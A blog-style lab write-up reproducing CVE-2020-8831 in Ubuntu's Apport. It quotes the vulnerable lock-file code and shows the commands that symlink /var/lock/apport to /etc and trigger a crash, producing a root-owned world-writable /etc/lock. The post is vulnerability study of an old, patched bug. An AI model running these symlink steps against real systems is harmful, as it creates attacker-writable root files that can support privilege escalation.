Reproducing CVE-2020-8831: Privilege Escalation via Symlink Attack on Apport's Lock File Implementation
CVE-2020-8831 is a vulnerability where an attacker can create a symlink at /var/lock/apport, redirecting Apport's lock file location and leading to the creation of a world-writable lock file as root anywhere on the filesystem.
Let’s continue diving into From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research. Moving on to the second chapter - Mapping Code to Attack Surface - in this blog post, I’ll take some notes on CVE-2020-8831 described in the Local Attack Surface subsection, along with some other relevant knowledge.
In a local context, a common attack vector is IPC (inter-process communication), a mechanism for processes to “talk” to each other. It’s often exploited for privilege escalation in this context.
Several IPC methods are available in modern operating systems, such as memory-based, message-based, and file-based approaches,… In terms of speed, using files to exchange data between processes is significantly slower than other methods due to disk I/O operations. However, developers still use this method when data persistence is required or speed isn’t a major problem.
What is Apport?
I did some research using Perplexity to get a brief understanding of Apport:
Apport is a bug reporting tool in Ubuntu that automatically detects application crashes and collects diagnostic information about the system and the crashed program. It saves crash reports in the /var/crash/ directory so they can be analyzed or submitted to developers. This helps improve software quality by enabling faster identification and resolution of issues.
The vulnerability described by the author is the lock file implementation inside the check_lock function of Apport. But I didn’t know what a “lock file” was yet, so I searched it up again with Perplexity:
A lock file is a temporary file that restricts access to a resource, allowing only one process to use or modify it at a time to prevent conflicts or data corruption. In interprocess communication (IPC), lock files help coordinate different processes that need to read or write shared files, ensuring operations are orderly and preventing race conditions. Apport uses lock files to make sure only one instance handles crash reporting at a time, safely synchronizing its tasks.
Exploting a Hardcoded Path in Apport
We can retrieve the source code containing the vulnerability here: apport/data/apport at 44a97a8ef664fd714777fc21845f8e280d918b12 · canonical/apport
def check_lock():
'''Abort if another instance of apport is already running.
This avoids bringing down the system to its knees if there is a series of
crashes.'''
# create lock file directory
try:
os.mkdir("/var/lock/apport", mode=0o744)
except FileExistsError:
pass
# create a lock file
try:
fd = os.open("/var/lock/apport/lock", os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW)
except OSError as e:
error_log('cannot create lock file (uid %i): %s' % (os.getuid(), str(e)))
sys.exit(1)
def error_running(*args):
error_log('another apport instance is already running, aborting')
sys.exit(1)
original_handler = signal.signal(signal.SIGALRM, error_running)
signal.alarm(30) # Timeout after that many seconds
try:
fcntl.lockf(fd, fcntl.LOCK_EX)
except IOError:
error_running()
finally:
signal.alarm(0)
signal.signal(signal.SIGALRM, original_handler)The function creates the lock file if it doesn’t exist and then tries to acquire a lock on the file using fcntl.lockf(fd, fcntl.LOCK_EX). This is a blocking call, if another process is holding the lock, this process waits. If the lock isn’t acquired within 30 seconds, the process receives an alarm signal and gets terminated.
An attacker might be able to hijack the files at these hardcoded paths such as /var/lock/apport/lock by using a symbolic link (symlink). A symlink is just a file that points to another file or directory. This is transparent to programs since symlinks are resolved by the OS at the filesystem level. The attacker can use a symlink to redirect programs to read from or write to a different location than intended.
When creating the lock file, we can see that the os.O_NOFOLLOW flag is being used, which is a way to check whether a file is a symlink, provided by the OS. According to the man page open(2) - Linux manual page, the flag behaves as follows:

Basically, if the symlink is created at /var/lock/apport/lock, the open will fail, because that’s the basename of the path. But if the symlink is created at earlier components like /var, /var/lock, or /var/lock/apport, open will still follow the link.
If the attacker creates a symlink at /var/lock/apport pointing to any other directory, for example /etc, then /etc/lock will be created when the check_lock function is called. And since the os.open() call doesn’t specify any mode argument, permission mode 777 is used by default, ultimately creating a file that’s not only owned by root, but can also be read and written by all users.
Try It Out
Let’s try this out by getting the vulnerable version of Apport using the guide provided by the author.
First, find the patched version in the security update page for CVE-2020-8831 at https://ubuntu.com/security/CVE-2020-8831.

Next, download the version right before the patched version amd64 build of apport 2.20.1-0ubuntu2.22 : PPA for Ubuntu Security Proposed : “Ubuntu Security Proposed” team:

Finally, download and install the deb package in an Ubuntu 16.04 virtual machine instance, since I tried using a container environment and Apport doesn’t even seem to start:
ubuntu@192:~$ sudo apt update
ubuntu@192:~$ cd /tmp
ubuntu@192:/tmp$ wget https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa/+build/18827018/+files/apport_2.20.1-0ubuntu2.22_all.deb
ubuntu@192:/tmp$ sudo dpkg -i apport_2.20.1-0ubuntu2.22_all.deb
Selecting previously unselected package apport.
(Reading database ... 69941 files and directories currently installed.)
Preparing to unpack apport_2.20.1-0ubuntu2.22_all.deb ...
Unpacking apport (2.20.1-0ubuntu2.22) ...
dpkg: dependency problems prevent configuration of apport:
apport depends on python3-apport (>= 2.20.1-0ubuntu2.22); however:
Package python3-apport is not installed.
dpkg: error processing package apport (--install):
dependency problems - leaving unconfigured
Processing triggers for ureadahead (0.100.0-19.1) ...
Processing triggers for systemd (229-4ubuntu21.28) ...
Processing triggers for hicolor-icon-theme (0.15-0ubuntu1.1) ...
Processing triggers for man-db (2.7.5-1) ...
Errors were encountered while processing:
apportWe need to install the required dependencies first:
ubuntu@192:/tmp$ sudo apt install -f
ubuntu@192:/tmp$ sudo dpkg -i apport_2.20.1-0ubuntu2.22_all.deb
(Reading database ... 70053 files and directories currently installed.)
Preparing to unpack apport_2.20.1-0ubuntu2.22_all.deb ...
Unpacking apport (2.20.1-0ubuntu2.22) over (2.20.1-0ubuntu2.22) ...
Setting up apport (2.20.1-0ubuntu2.22) ...
Processing triggers for ureadahead (0.100.0-19.1) ...
Processing triggers for systemd (229-4ubuntu21.28) ...
Processing triggers for hicolor-icon-theme (0.15-0ubuntu1.1) ...
Processing triggers for man-db (2.7.5-1) ...
ubuntu@192:/tmp$ sudo systemctl status apport.service
● apport.service - LSB: automatic crash report generation
Loaded: loaded (/etc/init.d/apport; bad; vendor preset: enabled)
Active: active (exited) since Sat 2025-11-08 01:27:42 PST; 7s ago
Docs: man:systemd-sysv-generator(8)
Nov 08 01:27:42 192 systemd[1]: Starting LSB: automatic crash report generation...
Nov 08 01:27:42 192 apport[5530]: * Starting automatic crash report generation: apport
Nov 08 01:27:42 192 apport[5530]: ...done.
Nov 08 01:27:42 192 systemd[1]: Started LSB: automatic crash report generation.
ubuntu@192:/tmp$ dpkg -l | grep apport
ii apport 2.20.1-0ubuntu2.22 all automatically generate crash reports for debugging
ii python3-apport 2.20.1-0ubuntu2.30+esm7 all Python 3 library for Apport crash report handlingLet’s make a simple crash example to see if any files are created in /var/crash:
ubuntu@192:/tmp$ sleep 5s & kill -11 $!
[1] 5750
ubuntu@192:/tmp$
[1]+ Segmentation fault (core dumped) sleep 5s
ubuntu@192:/tmp$ ls -la /var/crash
total 344
drwxrwxrwt 2 root root 4096 Nov 8 01:30 .
drwxr-xr-x 12 root root 4096 Nov 8 01:27 ..
-rw-r----- 1 ubuntu ubuntu 342101 Nov 8 01:30 _bin_bash.1000.crashGreat, Apport is working. Now, let’s remove /var/lock/apport/ first, since the vulnerability requires the directory not to exist so that the program will use it right away.
ubuntu@192:/tmp$ sudo rm -rf /var/lock/apport/
ubuntu@192:/tmp$ ln -s /etc /var/lock/apport
ubuntu@192:/tmp$ sleep 5s & kill -11 $!
[1] 5784
ubuntu@192:/tmp$
[1]+ Segmentation fault (core dumped) sleep 5s
ubuntu@192:/tmp$ ls -l /etc/lock
-rwxrwxrwx 1 root root 0 Nov 8 01:34 /etc/lock
ubuntu@192:/tmp$ echo "HELLO" > /etc/lock
ubuntu@192:/tmp$ cat /etc/lock
HELLOI’ve successfully hijacked the hardcoded lock file’s path!
Conclusion
Since this vulnerability only allows an attacker to create a world-writable lock file at an attacker-controlled location, and the written data isn’t controllable (Apport writes it), its severity is considered medium, and it’s given a CVSS score of 5.5/10.
To achieve full privilege escalation, I think we’d have to combine this with some kind of OS’s services or other vulnerabilities. This vulnerability alone shouldn’t do much damage.
That’s all for this post! Thank you all for your reading :)